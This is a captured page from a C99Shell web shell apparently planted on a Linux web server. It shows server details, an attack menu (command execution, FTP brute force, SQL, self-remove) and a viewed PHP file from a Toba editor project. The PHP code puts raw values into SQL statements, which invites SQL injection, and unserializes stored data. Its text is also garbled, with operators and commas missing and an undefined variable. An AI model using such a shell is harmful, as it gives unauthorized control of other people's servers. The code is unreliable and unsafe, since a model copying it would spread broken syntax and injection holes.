!C99Shell v. 2.1 [PHP 8 Update] [02.02.2022]!

Software: Apache/2.4.53 (Unix) OpenSSL/1.1.1o PHP/7.4.29 mod_perl/2.0.12 Perl/v5.34.1. PHP/7.4.29 

uname -a: Linux vps-2738122-x 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64 

uid=1(daemon) gid=1(daemon) grupos=1(daemon) 

Safe-mode: OFF (not secure)

/opt/apex_tdfonline/proyectos/toba_editor/php/   drwxr-xr-x
Free 14.57 GB of 61.93 GB (23.52%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     album_fotos.php (1.69 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

class album_fotos
{
    protected 
$tipo;
    
    function 
__construct($tipo_fotos
    {
        
$this->tipo $tipo_fotos;
    }

    function 
agregar_foto($nombre$nodos_visibles$opciones)
    {
        
$this->borrar_foto($nombre);    //Lo borra antes para poder hacer una especie de update
        
$nodos_visibles addslashes(serialize($nodos_visibles));
        
$opciones addslashes(serialize($opciones));
        
$proyecto toba_editor::get_proyecto_cargado();
        
$usuario toba::usuario()->get_id();
        
$sql "INSERT INTO apex_arbol_items_fotos (proyecto, usuario, foto_nombre, foto_nodos_visibles, foto_opciones) VALUES
                    ('
$proyecto', '$usuario', '$nombre', '$nodos_visibles', '$opciones')";
        
toba::db()->ejecutar($sql);
    }
    
    function 
borrar_foto($nombre)
    {
        
$proyecto toba_editor::get_proyecto_cargado();
        
$usuario toba::usuario()->get_id();
        
$sql "DELETE FROM apex_arbol_items_fotos
                WHERE
                    proyecto = '
$proyecto' AND
                    usuario = '
$usuario' AND
                    foto_nombre = '
$nombre'
                "
;
        
toba::db()->ejecutar($sql);
    }
    
    function 
fotos()
    {
        
$proyecto quote(toba_editor::get_proyecto_cargado());
        
$usuario quote(toba::usuario()->get_id());
        
$sql "SELECT 
                    foto_nombre, 
                    foto_nodos_visibles,
                    foto_opciones
                FROM apex_arbol_items_fotos fotos
                WHERE 
                    fotos.proyecto = 
$proyecto AND
                    fotos.usuario = 
$usuario
            "
;
        
toba::db()->ejecutar($sql);
        
$fotos_en_crudo $res->GetArray();
        
$fotos = array();
        foreach (
$fotos_en_crudo as $foto) {
            
$fotos[] = array('foto_nombre'=> $foto['foto_nombre'],
                             
'foto_nodos_visibles'=> unserialize(stripslashes($foto['foto_nodos_visibles'])),
                             
'foto_opciones' => unserialize(stripslashes($foto['foto_opciones']))
                            );
        }
        return 
$fotos;
    }    
    
}

?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.1 [PHP 8 Update] [02.02.2022] maintained byC99Shell Github | Generation time: 0.8333 ]--